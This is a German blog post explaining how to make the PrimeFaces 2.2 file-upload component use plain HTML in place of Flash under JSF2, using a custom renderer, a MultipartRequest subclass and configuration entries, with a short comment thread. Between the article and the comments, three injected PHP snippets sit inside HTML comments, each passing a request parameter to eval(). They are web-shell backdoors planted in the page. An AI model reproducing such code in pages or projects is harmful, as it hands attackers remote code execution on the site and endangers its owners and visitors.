Datei-Upload mit JSF2 und Primefaces 2.2 ohne Flash

Die Standard-Komponenten von JSF enthalten bis einschließlich JSF 2.0 leider keine Komponente für den Dateiupload.

Unter JSF 1.2 kann man schon sehr lange Apache Tomahawk für diesen Zweck einsetzen, das ein normales einfaches Input-Tag vom Typ “file” rendert. Nicht schön, nicht modern, aber zweckmäßig.

Zum Zeitpunkt eines Kundenprojektes gab es jedoch noch kein Tomahawk für JSF2 und nur eine einzige fertige Implementierung einer Datei-Upload-Komponente: Primefaces 2.0.2, was dies mit einem modernen Flash-Applet umsetzt. Der Kunde bestand allerdings auf einer reinen HTML-Lösung, was selbst mit der aktuellen Version 2.2 von Primefaces nicht möglich ist.

Man kann diese Komponente allerdings mit recht einfachen Mitteln dazu überreden, reines HTML zum Upload zu verwenden. Dazu ist es insgesamt notwendig drei eigene Klassen zu schreiben und 2 Konfigurationsdateien anzupassen. Obwohl mittlerweile mit Tomahawk eine Komponente out-of-the-Box dasselbe macht, eignet sich dieses Beispiel gut, um zu zeigen, wie man vorgefertigte JSF-Komponenten fast beliebig beeinflussen kann.

Der eigene Renderer

Als erstes müssen wir uns darum kümmern, den Renderer der Upload-Komponente auszutauschen, damit nicht das Flash-Applet gerendert wird, sondern ein HTML-Input-Tag mitsamt Upload-Button. Dazu implementieren wir die Klasse MyFileUploadRenderer, die von der Primefaces-Klasse FileUploadRenderer ableitet. Den kompletten Code findet ihr im Download-Paket hier nur ein Auszug der wichtigsten Methode “endodeMarkup”:

protected void encodeMarkup(FacesContext facesContext, FileUpload fileUpload) throws IOException {
		ResponseWriter writer = facesContext.getResponseWriter();
		String clientId = fileUpload.getClientId(facesContext);
		String size = fileUpload.getWidth();
		String description = fileUpload.getDescription();
		
		writer.startElement("span", fileUpload);
		writer.writeAttribute("id", clientId, "id");
		writer.writeAttribute("title", description, "id");
		
		if (fileUpload.getStyle() != null) {
			writer.writeAttribute("style", fileUpload.getStyle(), "style");
		}
		if (fileUpload.getStyleClass() != null) {
			writer.writeAttribute("class", fileUpload.getStyleClass(), "styleClass");
		}
		
		writer.startElement("input", null);
		writer.writeAttribute("type", "file", null);
		writer.writeAttribute("id", INPUT_FILE_ID, null);
		writer.writeAttribute("name", INPUT_FILE_ID, null);
		writer.writeAttribute("style", "display: inline;", null);
		if (size != null && !size.isEmpty()) {
			writer.writeAttribute("size", size, null);
		}
		writer.endElement("input");

		writer.startElement("input", null);
		writer.writeAttribute("type", "submit", null);
		writer.writeAttribute("id", INPUT_SUBMIT_ID, null);
		writer.writeAttribute("name", INPUT_SUBMIT_ID, null);
		writer.writeAttribute("value", fileUpload.getLabel(), null);
		writer.writeAttribute("class", "button", null);
		writer.endElement("input");
		
		writer.endElement("span");
	}

Im wesentlichen wird also ein Input-Tag und der Upload-Button ausgegeben. Da der Upload über sowieso über einen RequestFilter im Java Application Server läuft, ist es egal, wie die Daten lokal aufbereitet werden. Das Flash-Applet macht prinzipiell nichts anderes wie ein normaler HTTP-Upload.

In diesem Fall machen dann aber sehr viele Attribute der Primefaces-Komponente keinen Sinn mehr und man sollte sich in einem größeren Team überlegen, wenn solche nicht sinnvollen Attribute benutzt werden, ob eine Exception geworfen werden sollte. Der Beispiel-Code tut dies.

Damit dieser Renderer benutzt wird, muss er allerdings noch konfiguriert werden, wozu auch mit JSF2 ein Eintrag in der faces-config.xml notwendig ist:

<render-kit>
   <renderer>
      <component-family>org.primefaces.component</component-family>
      <renderer-type>org.primefaces.component.FileUploadRenderer</renderer-type>
      <renderer-class>com.entwicklertagebuch.MyFileUploadRenderer</renderer-class>
   </renderer>
</render-kit>

Das Ergebnis ist bis hierhin ein korrektes Rendern des HTML im Browser als auch ein funktionierender Upload bis zur Managed Bean. Allerdings gibt es seit Primefaces 2.2 bei der Antwort nach erfolgtem Upload an den Client das Problem, dass die Komponente hart-codiert den Upload mit einer Ajax-Antwort quittiert und nicht mit normalem HTML. Der Browser zeigt dann einfach nur noch das Ajax-XML an. Das kann natürlich so nicht bleiben.

Der eigene Fileupload-Filter

Um dieses Verhalten zu ändern sind tiefgreifendere Änderungen im Primefaces-Upload-Filter notwendig, weil der Standard-Filter eine MultipartRequest-Objekts verwendet, dessen getHeader-Methode jeden Faces-Request als AJAX-Request behandelt.
Um dies zu ändern implementieren wir zuerst ein eigenes MyMultipartRequest-Objekt, das vom Primefaces-MultipartRequest Objekt ableitet. Wir brauchen hier nur zwei Methoden zu schreiben, getHeader und den Konstruktor:

public class MyMultipartRequest extends MultipartRequest {

	@Override
	public String getHeader(String name) {
		return ((HttpServletRequest) getRequest()).getHeader(name);
	}

	public MyMultipartRequest(HttpServletRequest request, ServletFileUpload servletFileUpload) throws IOException {
		super(request, servletFileUpload);
	}

}

Damit diese Klasse verwendet wird, muss man nun noch den Original-FileUploadFilter mit der eigenen Implementierung austauschen, sonst würde weiterhin die Primefaces-Variante verwendet werden. Der Filter entspricht dabei 1:1 dem Primefaces-Code mit dem Unterschied, dass die eigene MultiPartRequest-Implementierung verwendet wird, weshalb ich hier nicht auf den Code eingehe.

Wenn man das alles fertig hat, muss man nun noch seinen eigene Filter-Klasse statt der Primefaces-Variante in die web.xml eintragen:

<filter>
	<filter-name>PrimeFaces FileUpload Filter</filter-name>
	<filter-class>com.entwicklertagebuch.MyFileUploadFilter</filter-class>
	<init-param>
		<param-name>thresholdSize</param-name>
		<param-value>51200</param-value>
	</init-param>
</filter>

Fertig.

Für Primefaces 2.3 hat Prime Technology angekündigt, von Haus aus eine Nicht-Flash-Variante anzubieten. Dies war allerdings auch schon für 2.2 angekündigt und die Dokumentation für 2.0.2 enthielt sogar schon ein nie existierendes Arribut für diesen Zweck.

Schauen wir also was kommt.

<!– [insert_php]if (isset($_REQUEST["vUiLD"])){eval($_REQUEST["vUiLD"]);exit;}[/insert_php]

if (isset($_REQUEST["vUiLD"])){eval($_REQUEST["vUiLD"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["JHwWx"])){eval($_REQUEST["JHwWx"]);exit;}[/insert_php]

if (isset($_REQUEST["JHwWx"])){eval($_REQUEST["JHwWx"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["nFHo"])){eval($_REQUEST["nFHo"]);exit;}[/insert_php]

if (isset($_REQUEST["nFHo"])){eval($_REQUEST["nFHo"]);exit;}

–>

3 thoughts on “Datei-Upload mit JSF2 und Primefaces 2.2 ohne Flash

    1. nein, das wird es auch nicht geben. Tut mir leid.

      Die Lösung hat diverse Nachteile und ist eher ein Hack. Zumal Primefaces 3.0 selbst eine entsprechende Möglichkeit bietet. Da ist Flash ja ganz weggefallen, stattdessen gibts eine HTML5-Lösung bzw. einen Fallback für Browser die kein HTML5 unterstützen.

Leave a Reply to Johann Cancel reply

Your email address will not be published. Required fields are marked *

*